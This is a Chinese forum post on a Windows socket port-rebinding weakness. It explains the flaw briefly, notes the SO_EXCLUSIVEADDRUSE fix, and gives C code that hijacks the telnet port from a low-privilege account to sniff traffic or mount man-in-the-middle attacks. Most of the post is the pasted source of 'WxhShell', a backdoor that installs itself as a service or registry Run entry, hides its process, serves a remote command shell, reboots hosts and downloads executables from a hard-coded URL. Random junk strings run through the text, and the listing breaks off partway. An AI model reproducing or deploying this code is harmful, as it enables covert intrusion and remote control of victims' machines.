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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]{6/6jl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;m7G8)I  
RQQ' Wg  
  saddr.sin_family = AF_INET; D#&9zR86F  
LVB wWlJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); spfW)v/T!  
D wJ^ W&*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^^"zjl*^  
2~$S @c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ),p0V  
M/p9 I gp  
  这意味着什么?意味着可以进行如下的攻击: ?0/$RpFEM#  
r89AX{:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /&Oo)OB;  
l|WFS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i|1*bZ6'  
%Z_O\zRqy)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U_*, XLU  
n>,:*5"G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #s~;ss ,  
*ai~!TR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $\NqD:fgb  
e' l9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  7(+4^  
'Eur[~k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ev;&n@k_I  
)\Q(=:  
  #include D;> 7y}\  
  #include 'z8FU~oU  
  #include t,f ec>.  
  #include    uM`i!7}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jlj ge=#c2  
  int main() RlL ]p`g  
  { l'(FM^8jv  
  WORD wVersionRequested; v ^h:E  
  DWORD ret; ~ZVz sNrx  
  WSADATA wsaData; |iH MAo  
  BOOL val; g&  e u  
  SOCKADDR_IN saddr; \lQ3j8 U  
  SOCKADDR_IN scaddr; bIiun a\  
  int err; k4V3.i!E  
  SOCKET s; ?-)!dl%N  
  SOCKET sc; VG 5*17nf5  
  int caddsize; -rsbSt ?_  
  HANDLE mt; (Y)2[j  
  DWORD tid;   &K0b3AWc  
  wVersionRequested = MAKEWORD( 2, 2 ); `CVkjLiy  
  err = WSAStartup( wVersionRequested, &wsaData ); B%6cgm,  
  if ( err != 0 ) { Kz42AC  
  printf("error!WSAStartup failed!\n"); z='%NZY  
  return -1; 1GK.:s6.f  
  } /X_L>or  
  saddr.sin_family = AF_INET; ]_h 3  
   j2Dw7"f3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z+yq%O  
kZG.Id  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kAEq +{h  
  saddr.sin_port = htons(23); 33DP?nI}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +u Iq]tqe  
  { kC.!cPd  
  printf("error!socket failed!\n"); &qS%~h%2  
  return -1; Bn]=T  
  } E_=F' sP?  
  val = TRUE; Csuasi3]1d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vT Eq T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4 -tC=>>wc  
  { 7zH2dqrj  
  printf("error!setsockopt failed!\n"); [bHm-X]  
  return -1; ~g=& wT11  
  } *,Bm:F<m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T$lV+[7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  .+1I>L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z}$sY>E  
|` :cB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gF p3=s0~  
  { {ze69 h  
  ret=GetLastError(); G~1;_'  
  printf("error!bind failed!\n"); !-OZ/^l|O`  
  return -1; !=:>yWQ  
  } \B4H0f  
  listen(s,2); h]s6)tI I  
  while(1) XA!a^@<H  
  { 3l?|+sU >O  
  caddsize = sizeof(scaddr); M v (Pp  
  //接受连接请求 SvSO?H!-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xJ$uoy3+  
  if(sc!=INVALID_SOCKET) #S?^?3d  
  { %8n<#0v-|4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u*@R`,Y   
  if(mt==NULL) #<)[{+f[t  
  { ht2Fi e  
  printf("Thread Creat Failed!\n"); UH>~Y N  
  break; 7_ix&oVI  
  } ch8VJ^%Ra1  
  } 4u iq'-  
  CloseHandle(mt); cIwX sx  
  } rtS cQ  
  closesocket(s);  ~frsgHW  
  WSACleanup(); 68z#9}  
  return 0; } 9\_s*  
  }   J`5+Zngr  
  DWORD WINAPI ClientThread(LPVOID lpParam) ura&9~   
  { p"hO6b%V  
  SOCKET ss = (SOCKET)lpParam; tAN!LI+w  
  SOCKET sc; c]E pg)E  
  unsigned char buf[4096]; 9$$  Ijf  
  SOCKADDR_IN saddr; F)cCaE;  
  long num; 4nm.ea|  
  DWORD val; ^rJTlh 9  
  DWORD ret; 5.5kH$;>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |/K| Vwa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l{7}3Am6  
  saddr.sin_family = AF_INET; hn2:@^=f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {nmu(E P  
  saddr.sin_port = htons(23); G{: B'08  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Xwk8<  
  { (@} ^ 3jpT  
  printf("error!socket failed!\n"); z~h?"'  
  return -1; =Oy&f:s  
  } Dh`&B   
  val = 100; ,Sgo_bC/|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j:cu;6|  
  {  t/t6o&  
  ret = GetLastError(); GbO j% a  
  return -1; neu+h6#H  
  } vy~6]hH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %q|* }l  
  { "J,|),Yd  
  ret = GetLastError(); 8)8~c@  
  return -1; y 0p=E^Q M  
  } M@es8\&S.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X>7Pqn'  
  { bji#ID2]%  
  printf("error!socket connect failed!\n"); {oY"CZ2  
  closesocket(sc); 7=N%$]DKZ  
  closesocket(ss); 4C?{p%3c  
  return -1; PJZ;wqTD_  
  } !f(A9V  
  while(1) 7kV$O(4  
  { $Zyuhji^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }'Ap@4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B`QF;,3S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aiX&`   
  num = recv(ss,buf,4096,0); 9c]$d  
  if(num>0) vx?KenO}  
  send(sc,buf,num,0); AT I=&O`  
  else if(num==0) UhW{KIW  
  break; q}Po)IUT`5  
  num = recv(sc,buf,4096,0); =* 'yGB[x)  
  if(num>0) s7yKx g+`{  
  send(ss,buf,num,0); !y_L~81?  
  else if(num==0) 0z \KI?kd  
  break; &5K3AL  
  } Y&bYaq  
  closesocket(ss); gWHY7rv  
  closesocket(sc); CL2zZk{u_  
  return 0 ; ?x ",VA  
  } ti GH#~?  
pHR`%2!"t  
o% +w:u.  
========================================================== gtH^'vFZ  
U $#^ e  
下边附上一个代码,,WXhSHELL 'E#L6,&  
H 2I  
========================================================== !KXcg9e  
kq=Htbv7  
#include "stdafx.h" Q#yHH]U)X  
mH;t)dT  
#include <stdio.h> 2n>mISy+  
#include <string.h> fV4eGIR&  
#include <windows.h> P\ P=1NM  
#include <winsock2.h> xKL(:ePS  
#include <winsvc.h> ]u|FcwWc3  
#include <urlmon.h> I*U7YqDC9  
!N+{X\+  
#pragma comment (lib, "Ws2_32.lib") #(qvhoi7lM  
#pragma comment (lib, "urlmon.lib") @;9KP6d  
'exR;q\  
#define MAX_USER   100 // 最大客户端连接数 < k(n%  
#define BUF_SOCK   200 // sock buffer 8ZV!ld  
#define KEY_BUFF   255 // 输入 buffer K @&c  
VB/75xK_  
#define REBOOT     0   // 重启 =UO7!vr;[  
#define SHUTDOWN   1   // 关机 I[Bp}6G  
hFoeVM[h  
#define DEF_PORT   5000 // 监听端口 }6LcimQyK  
ZWyf.VJ  
#define REG_LEN     16   // 注册表键长度 ]gHrqi%  
#define SVC_LEN     80   // NT服务名长度 dj084q7  
rk=w~IZJ3  
// 从dll定义API ^Mm%`B7W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _Rj bm'kC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xM)P=y_!M+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @&HLm^j2O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y46sL~HRv  
" ?aE3$/  
// wxhshell配置信息 te;bn4~  
struct WSCFG { clqFV   
  int ws_port;         // 监听端口 q) 5s'(  
  char ws_passstr[REG_LEN]; // 口令 i|H^&$|  
  int ws_autoins;       // 安装标记, 1=yes 0=no qtVgjT2#H  
  char ws_regname[REG_LEN]; // 注册表键名 2|!jst  
  char ws_svcname[REG_LEN]; // 服务名 dn~k_J=p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W"/,<xHuh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }c9RDpjh~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }:?_/$};  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D'g@B.fXd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lnl>!z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8}oe))b  
/3 L4K  
}; 4UL"f<7 T  
l-IA Q!d  
// default Wxhshell configuration ve/.q^JeJ  
struct WSCFG wscfg={DEF_PORT, 2bXCFv7}  
    "xuhuanlingzhe", }nM+"(}  
    1, ,|+{C~Ojx  
    "Wxhshell", t:.X=/02  
    "Wxhshell", siuDg,uqK5  
            "WxhShell Service", U>b.MIBX  
    "Wrsky Windows CmdShell Service", <!W9E M  
    "Please Input Your Password: ", sFfargl  
  1, \SmYxdU'>  
  "http://www.wrsky.com/wxhshell.exe", T;kh+ i  
  "Wxhshell.exe" NSRY(#3  
    }; +;@R&Y  
h _c11#  
// 消息定义模块 }+NlY D:qF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 29@m:=-}7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s*CBYzOm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t P' ._0n0  
char *msg_ws_ext="\n\rExit."; IH=%%AS  
char *msg_ws_end="\n\rQuit."; Ka{QjW!%d<  
char *msg_ws_boot="\n\rReboot..."; suX^"Io%!  
char *msg_ws_poff="\n\rShutdown..."; [mUC7Kpi  
char *msg_ws_down="\n\rSave to "; q 3,p=ijJ  
JDpW7OrDc  
char *msg_ws_err="\n\rErr!"; F%ukT6xp  
char *msg_ws_ok="\n\rOK!"; slA~k;K:_  
!9zs>T&9a\  
char ExeFile[MAX_PATH]; 0}_1 ZU  
int nUser = 0; e oFM  
HANDLE handles[MAX_USER]; 7m(9|Y:Q.  
int OsIsNt; yaC_r-%U&  
-> 'q  
SERVICE_STATUS       serviceStatus; j}%C;;MPH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c@O7,y:`I  
g{?{N  
// 函数声明 >\Iy <M  
int Install(void); Em<J{`k6  
int Uninstall(void); 5n2}|V$VqP  
int DownloadFile(char *sURL, SOCKET wsh); BYI13jMH+Y  
int Boot(int flag); _A$V~Hp9q  
void HideProc(void); 7bW ''J*6  
int GetOsVer(void); dr=KoAIxy  
int Wxhshell(SOCKET wsl); yrMakT=  
void TalkWithClient(void *cs); nzi)4"3O  
int CmdShell(SOCKET sock); :=`N2D  
int StartFromService(void); q>a/',m  
int StartWxhshell(LPSTR lpCmdLine); hG/Z65`&  
"aGpC{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h_t<Jl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n QOLR? %  
M)nf(jw#G  
// 数据结构和表定义 IrP6Rxh  
SERVICE_TABLE_ENTRY DispatchTable[] = 9jUm0B{?  
{ Z+;670Z  
{wscfg.ws_svcname, NTServiceMain}, @rW%*?$7  
{NULL, NULL} w`Z@|A  
}; H?pWyc<,  
N;av  
// 自我安装 _@]@&^K$E  
int Install(void) K@=_&A!  
{ -QydUr/(o  
  char svExeFile[MAX_PATH]; 5~omZ,qe  
  HKEY key; j98>Jr\  
  strcpy(svExeFile,ExeFile); u $T'#p1  
<Y#EiC.  
// 如果是win9x系统,修改注册表设为自启动 / ='/R7~  
if(!OsIsNt) { h,Tsb:Q"M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #kEa&Se  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VV~Kgy  
  RegCloseKey(key); KA {Y*m^7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \tg}K0E?R5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^p7Er!  
  RegCloseKey(key); OY#=s!] M  
  return 0; S$fCO$bU  
    } d,).O  
  } T EqCoeR  
} aSNTm8SYX  
else { =kWm9W<^  
<j89HtCz  
// 如果是NT以上系统,安装为系统服务 !*|`-woE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !TuMrA *  
if (schSCManager!=0) `Df)wNN1  
{ 3Q(#2tL=  
  SC_HANDLE schService = CreateService rsvGf7C  
  ( -RnQ8Iu o  
  schSCManager, ~C],?X(zk  
  wscfg.ws_svcname, 7b[vZNi_  
  wscfg.ws_svcdisp, :~]ha  
  SERVICE_ALL_ACCESS, ?)#}Nj<R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J\kv}v  
  SERVICE_AUTO_START, ,n?oNU  
  SERVICE_ERROR_NORMAL, `BHPj p>  
  svExeFile, W 7Y5~%@  
  NULL, Mi"dFx^Md  
  NULL, E MKv)5MH  
  NULL, du4Q^-repC  
  NULL, [L@ vC>G  
  NULL H23-%+*J  
  ); -^LEGKN  
  if (schService!=0) KC{ HX?  
  { }<kpvd+ps=  
  CloseServiceHandle(schService); m-No 8)2yA  
  CloseServiceHandle(schSCManager); 7[W! Nx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rm!Iv&{  
  strcat(svExeFile,wscfg.ws_svcname); @RF !p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {__"Z<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6rOd80\  
  RegCloseKey(key); sjV>&eb  
  return 0; !j?2HlIK+  
    } _/5mgn<GK  
  } H{ CG/+x  
  CloseServiceHandle(schSCManager); E7qk>~Dg  
}  qTL]  
} miZ&9m  
aE( j_`L78  
return 1; Mrlv(1PQT  
} J0M7f]  
*:3`$`\54  
// 自我卸载 ( XoL,lJ  
int Uninstall(void)  Ju#t^P  
{ H)5v X+9D  
  HKEY key; E=Z .v  
7a}vb@  
if(!OsIsNt) { lclSzC9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q}M% \v  
  RegDeleteValue(key,wscfg.ws_regname); r0)X]l7  
  RegCloseKey(key); ga~C?H,K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }?=$?3W  
  RegDeleteValue(key,wscfg.ws_regname); .* xaI+:  
  RegCloseKey(key); -&* 4~  
  return 0; SablF2doa  
  } q8{) 27f,  
} C-abc+/  
} UmSy p\i  
else { K$dSg1t  
g9`z]qGWS:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4~3 N;]X  
if (schSCManager!=0) J ;=~QYn[  
{ W7lR 54%|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~I%m[fQ S  
  if (schService!=0) [' ~B &  
  { ee.#Vhz  
  if(DeleteService(schService)!=0) { #,1Kum bG3  
  CloseServiceHandle(schService); $Aw"?&d"  
  CloseServiceHandle(schSCManager); E hROd  
  return 0; r_f?H@v  
  } `r:n[N=Y&  
  CloseServiceHandle(schService); {f\/2k3  
  } kqfO3{-;{:  
  CloseServiceHandle(schSCManager); [wJM=` !W  
} MV<2x7S  
} $]eITyC`P  
Gvk)H$ni  
return 1; qJb9JL$s  
} 6.| {l8%r  
i"~J -{d}  
// 从指定url下载文件  ]CD  
int DownloadFile(char *sURL, SOCKET wsh) 'Tn i;  
{ .|Pq!uLvc  
  HRESULT hr; ^#T@NN0T  
char seps[]= "/"; ?H\K];  
char *token; @-9I<)Z/2  
char *file; I dsPB)k_  
char myURL[MAX_PATH]; Qx-/t9`!Z  
char myFILE[MAX_PATH]; 3: 'eZ cM  
oz(V a!  
strcpy(myURL,sURL); *E0dCY$  
  token=strtok(myURL,seps); /*)zQ?N  
  while(token!=NULL) ~.?,*q7  
  { pPSmSWD?  
    file=token; =ILE/ pC-|  
  token=strtok(NULL,seps); *"\QR>n   
  } ]uN}n;`12  
r%*,pN7O  
GetCurrentDirectory(MAX_PATH,myFILE); uz6S7I  
strcat(myFILE, "\\"); Tji G!W8  
strcat(myFILE, file); qU(,q/l  
  send(wsh,myFILE,strlen(myFILE),0); 3xSt -MA  
send(wsh,"...",3,0); -\OvOkr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C:+-T+m[  
  if(hr==S_OK) \a+.~_iL|  
return 0; 5\MCk"R!  
else slC 38  
return 1; tONX<rA|]  
p.1@4kgK&r  
} 6ge,2[PU  
/UP&TyZ  
// 系统电源模块 B|9)4f&\=R  
int Boot(int flag) KTr7z^  
{ ?/Bp8q(  
  HANDLE hToken; a:*8SovI  
  TOKEN_PRIVILEGES tkp; + niz(]  
]W^F!p~eC  
  if(OsIsNt) { 1 !N+hf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .g L%0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z ;>xI~  
    tkp.PrivilegeCount = 1; I8R#EM%C#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s&UuB1   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V*X6 <}  
if(flag==REBOOT) { OPVF)@"ptM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $on"@l%U  
  return 0; =hZ#Z]f  
} TI^W=5W@@  
else { }^!8I7J.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $T.u Iq  
  return 0; km@V|"ac _  
} vS#Y,H:yAj  
  } S{HAFrkm7  
  else { |]--sUx:  
if(flag==REBOOT) { BG>fLp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -MEp0  
  return 0; 1:!_AU?  
} !&'GWQY{(  
else { w; [ndZCY7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zSy^vM;6zf  
  return 0; V iY-&q'  
} `1}WQS  
} rC`pTN  
CD}::7$  
return 1; S T#9auw  
} &8p]yo2zO  
E@}N}SR  
// win9x进程隐藏模块 hkS0ae  
void HideProc(void) bTBV:]w  
{ H7{)"P]{f  
>6Y @8 )  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j)G<PW  
  if ( hKernel != NULL ) lZ5LHUzP  
  { k }amSsE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f4%Z~3P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z^tTR]u\$  
    FreeLibrary(hKernel); *Ubsa9'fS  
  } Y~E 8z  
`_YXU  
return; srzlr-J  
} $('"0 @fg  
/b&ka&|t  
// 获取操作系统版本 Dj?84y  
int GetOsVer(void) l k~VvRq  
{ &>nB@SQZ  
  OSVERSIONINFO winfo; (G1KMy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8jBrD1  
  GetVersionEx(&winfo); olm0O  (9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1zNh& "  
  return 1; vIq>QXb;d  
  else VQ}N& H)`  
  return 0;  }?eO.l{  
} o,r72>|  
?04jkq&  
// 客户端句柄模块 5#275Hyv  
int Wxhshell(SOCKET wsl) GZefeBi  
{ rY?]pMp  
  SOCKET wsh; v2Ft=_*G|  
  struct sockaddr_in client; s9#WkDR  
  DWORD myID; ys/U.e|)!  
7%j1=V/  
  while(nUser<MAX_USER) 1U)U{i7j  
{ h(~@ n d{  
  int nSize=sizeof(client); Lm-f0\(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dDu8n+(8 L  
  if(wsh==INVALID_SOCKET) return 1; > J.q3  
*XUJv&ZN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'zJBp 9a%  
if(handles[nUser]==0) :9H`O!VF  
  closesocket(wsh); HNUpgNi  
else 7MbV|gM}  
  nUser++; i C)+5L#'  
  } "]SA4Ud^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rF^H\U:w  
2v$\mL  
  return 0; r+Pfq[z&  
} R|m!*B~  
,kQCCn]  
// 关闭 socket 2y"L&3W  
void CloseIt(SOCKET wsh) ] /"!J6(e  
{ *P01 yW0  
closesocket(wsh); /wi*OZ7R  
nUser--; C1`fJh y  
ExitThread(0); &gLXS1O  
} t f3R  
/KTWBcs 7  
// 客户端请求句柄 d[F3"b%  
void TalkWithClient(void *cs) E8/Pi>QW  
{ BT^Im=A  
qdPmTaak  
  SOCKET wsh=(SOCKET)cs; Nf5zQ@o_y  
  char pwd[SVC_LEN]; i}L*PCP  
  char cmd[KEY_BUFF]; Vg^yjP{sv  
char chr[1]; A3Xfu$[u  
int i,j; <B Vx%  
:R'={0Jg  
  while (nUser < MAX_USER) { 2^X<n{0N)  
\b;z$P\+*  
if(wscfg.ws_passstr) { pP-L{bT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (VM.]B<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Mr_F^|  
  //ZeroMemory(pwd,KEY_BUFF);  .: Zw6  
      i=0; lyS`X  
  while(i<SVC_LEN) { Fy*t[>  
)%JjV(:  
  // 设置超时 HIq e~Vc  
  fd_set FdRead; FrsXLUY  
  struct timeval TimeOut; j6d{r\!$4  
  FD_ZERO(&FdRead); *snY|hF  
  FD_SET(wsh,&FdRead); %$<v:eMAs  
  TimeOut.tv_sec=8; XI '.L ~  
  TimeOut.tv_usec=0; tXCgRU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %oOSmt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v t_lM  
{,=U]^A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Rqpok4  
  pwd=chr[0]; Ofc u4pi  
  if(chr[0]==0xd || chr[0]==0xa) { $ba*=/{[q  
  pwd=0; 782 oXyD  
  break; |;(>q  
  } gXj3=N(l  
  i++; jL{k!V`s  
    } 84lT# ^q  
&s{d r  
  // 如果是非法用户,关闭 socket U6F7dT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sis1Dh9:  
} y&A&d-  
'5lwlF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (sW$2a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )b~+\xL5J  
hZ|8mV  
while(1) { % kaV ?j  
+3k.xP?QS  
  ZeroMemory(cmd,KEY_BUFF); k5|GN Y6a  
{t*CSI  
      // 自动支持客户端 telnet标准   $3S`A]xO  
  j=0; 9T\\hM)k  
  while(j<KEY_BUFF) { L0R$T=~%)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %KPQ|^WE  
  cmd[j]=chr[0]; #h#_xh'  
  if(chr[0]==0xa || chr[0]==0xd) { *^iSP(dg  
  cmd[j]=0;  Xb~i?T;f  
  break; Elt" tJ  
  } 9+b){W  
  j++; tmQ,>   
    } 6s t^-L  
Us\Nmso z  
  // 下载文件 N[I ?x5:u  
  if(strstr(cmd,"http://")) { GBTwQYF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vW0U~(XlN  
  if(DownloadFile(cmd,wsh)) ck$>   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :7*9W|e  
  else H~?7 : K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BxiR0snf0q  
  } KP`Pzx   
  else { WQ9VcCY  
Ri3*au/Q  
    switch(cmd[0]) { h^YUu`P  
  zCS&w ~  
  // 帮助 F9>"1  
  case '?': { 4,&f#=Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1*f/Y9 Z  
    break; ?jsgBol  
  } HOrXxxp1^  
  // 安装 n0)y|B#  
  case 'i': { y,6KU$G  
    if(Install()) ~"Su2{"8B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tlYB'8bJY  
    else N+vsQ!Qz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z2jS(N?J1  
    break; xxG>Leml  
    } L=5Y^f'aU  
  // 卸载 a{Y8 hR  
  case 'r': { Rl (+TE  
    if(Uninstall()) ?weuq"*a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%c0EY'  
    else &w{z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "$3~):o  
    break; -,ojZFyRi  
    } {rzQ[_)EC  
  // 显示 wxhshell 所在路径 x=N0H  
  case 'p': { TpYdIt9#>  
    char svExeFile[MAX_PATH]; Knp}88DR^j  
    strcpy(svExeFile,"\n\r"); 59(kk;  
      strcat(svExeFile,ExeFile); QS@eqN  
        send(wsh,svExeFile,strlen(svExeFile),0); 9R:?vk4  
    break; 8\+XtS  
    } <.ZD.u  
  // 重启 Z^.qX\<M  
  case 'b': { (rQ)0g@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `j'gt&  
    if(Boot(REBOOT)) id)J;!^;J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H{uR+&<  
    else { ,nWZJ&B  
    closesocket(wsh); of'H]IZ  
    ExitThread(0); U%KgLg#  
    } .PCbGPbk  
    break; miV8jaV  
    } ! QKec  
  // 关机 5*O]`Q7  
  case 'd': { Mn*5oH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uFG ;AY|  
